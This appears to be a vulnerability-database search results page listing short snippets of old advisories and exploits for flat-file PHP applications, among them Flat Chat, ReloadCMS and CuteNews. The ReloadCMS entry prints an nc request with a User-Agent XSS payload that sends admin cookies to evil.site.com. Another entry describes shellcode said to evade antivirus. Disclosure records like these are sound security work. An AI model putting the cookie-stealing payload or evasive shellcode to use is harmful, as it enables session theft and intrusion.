488 matches found
Maran Blog XSS vulnerability
Application: Maran Blog Web Site: http://www.maran.pamil-visions.com/maranblog.php Versions: no Version numbers could be found. Platform: linux, windows, freebsd, sun Bug: Cross site Scripting XSS Fix Available: Yes Advisory File:http://www.secvsn.com/content/Advisories/sr-060607-maran.html...
Code injection
Direct static code injection vulnerability in startsession.php in Flat Chat 2.0 allows remote attackers to execute arbitrary PHP code via the Chat Name field, which is inserted into online.txt and included by users.php. NOTE: some of these details are obtained from third party information...
CVE-2007-1394
Direct static code injection vulnerability in startsession.php in Flat Chat 2.0 allows remote attackers to execute arbitrary PHP code via the Chat Name field, which is inserted into online.txt and included by users.php. NOTE: some of these details are obtained from third party information...
CVE-2007-1394
The CVE-2007-1394 entry concerns Flat Chat 2.0. It describes a direct static code injection vulnerability in startsession.php, where the Chat Name field is inserted into online.txt and subsequently included by users.php. The root cause is unsafely incorporating user-provided input into executable...
CVE-2007-1394
Direct static code injection vulnerability in startsession.php in Flat Chat 2.0 allows remote attackers to execute arbitrary PHP code via the Chat Name field, which is inserted into online.txt and included by users.php. NOTE: some of these details are obtained from third party information...
CVE-2007-1394: Undefined Security Weakness
Direct static code injection vulnerability in startsession.php in Flat Chat 2.0 allows remote attackers to execute arbitrary PHP code via the Chat Name field, which is inserted into online.txt and included by users.php. NOTE: some of these details are obtained from third party information...
Flat Chat 2.0 (include online.txt) Remote Code Execution Vulnerability
Exploit for unknown platform in category web applications ====================================================================== Flat Chat 2.0 include online.txt Remote Code Execution Vulnerability ====================================================================== .-""""""""-. / Dj7xpl \ | | ...
Flat Chat 2.0 - 'include online.txt' Remote Code Execution
.-""""""""-. / Dj7xpl \ | | |, .-. .-. ,| | o/ \o | |/ /\ | @ ^^ \|IIIIII|/ @8@8 / \ / @ ++ + + + +=============================================+ + | | + | Portal : Flat Chat | + | Version : 2.0 | + | Author : Dj7xpl | [email protected] | + | Download : Http://www.undoweb.frih.net | + | Risk :...
Flat Chat 2.0 - include online.txt Remote Code Execution
Flat Chat 2.0 - include online.txt Remote Code Execution .-""""""""-. / Dj7xpl \ | | |, .-. .-. ,| | o/ \o | |/ /\ | @ ^^ \|IIIIII|/ @8@8 / \ / @ ++ + + + +=============================================+ + | | + | Portal : Flat Chat | + | Version : 2.0 | + | Author : Dj7xpl | [email protected] | +...
Download & Exec polymorphed shellcode Engine
No description provided by source. Download & Exec polymorphed shellcode engine POC This downloading and execution code is not detectable by popular AVs. Greetz 2: DarkEagle and Unl0ck researcherz; Str0ke and milw0rm; HD Moor and metasploit project; Maxus, Fuchunic, YrSam, Garry; Offtopic and PTT...
Download & Exec polymorphed shellcode Engine
Exploit for generator platform in category shellcode ============================================ Download & Exec polymorphed shellcode Engine ============================================ Download & Exec polymorphed shellcode engine POC This downloading and execution code is not detectable by...
XSS in JAB Guest Book
Script Name: JAB Guest Book Authors: [email protected] Website: James Barnsley Bug Report: NetJackal njAThackerzDOTir & nima501ATyahooDOTcom Status: Patch not released First i should apologize for my bad english. Intro: JAB Guest Book is a free guest book written in PHP, it works using flat fil...
CVE-2006-5130: Undefined Security Weakness
Multiple cross-site scripting XSS vulnerabilities in ph03y3nk just another flat file JAF CMS 4.0 RC1 allow remote attackers to inject arbitrary web script or HTML via the 1 name, 2 url, 3 title, and 4 about parameters in a forum post. NOTE: the provenance of this information is unknown; the detai...
CVE-2006-5131: Undefined Security Weakness
module/shout/jafshout.php aka the shoutbox in ph03y3nk just another flat file JAF CMS 4.0 RC1 allows remote attackers to execute arbitrary code within sections bounded by " ", possibly due to a static code injection vulnerability involving admin/datainc.php...
CVE-2006-5129: Undefined Security Weakness
Multiple cross-site scripting XSS vulnerabilities in ph03y3nk just another flat file JAF CMS 4.0 RC1 allow remote attackers to inject arbitrary web script or HTML via 1 the message parameter, and possibly other parameters, in module/shout/jafshout.php aka the shoutbox; and 2 the message body in a...
[Full-disclosure] Secunia Research: Tagger LE PHP "eval()" Injection Vulnerabilities
====================================================================== Secunia Research 14/09/2006 - Tagger LE PHP "eval" Injection Vulnerabilities - ====================================================================== Table of Contents Affected...
Hackmaster Group DMCounter Remote File Include
Script: DMCounter Version: 0.9.2-b Language: PHP Problem: Remote File Include Vendor: http://Www.HackMaster.Us Discovered by: C-W-Mathackmasterdotus Description ============= Statistics software based on PHP which does not require any database support but just uses flat files. Daily + monthly...
CuteNews 1.4.1 Multiple vulnerabilities
/ --------------------------------------------------------------- Neo Security Team NST® Advisory 20 --------------------------------------------------------------- Program : CuteNews 1.4.1 Homepage: http://www.cutephp.com Vulnerable Versions: CuteNews 1.4.1 & lower ones Risk: Medium! Impact: Cro...
ReloadCMS-1.2.5.txt
nc target.host.com 80 GET /pathtoreloadcms/ HTTP/1.0 User-Agent: "window.open"http://evil.site.com/grab.php?c="+document.cookie+"&ref="+document.URL;window.close; Host: target.host.com Connection: Close So, when admin see site statistics through the administration panel, javascript will run Once...
ReloadCMS <= 1.2.5stable Cross site scripting / remote command execution
?php / ReloadCMS = 1.2.5stable Cross site scripting / remote command execution software site: http://reloadcms.com/ description: "ReloadCMS is a free CMS written on PHP and based on flat files." vulnerability: ReloadCMS do not properly sanitize User-Agent request header before to store it in...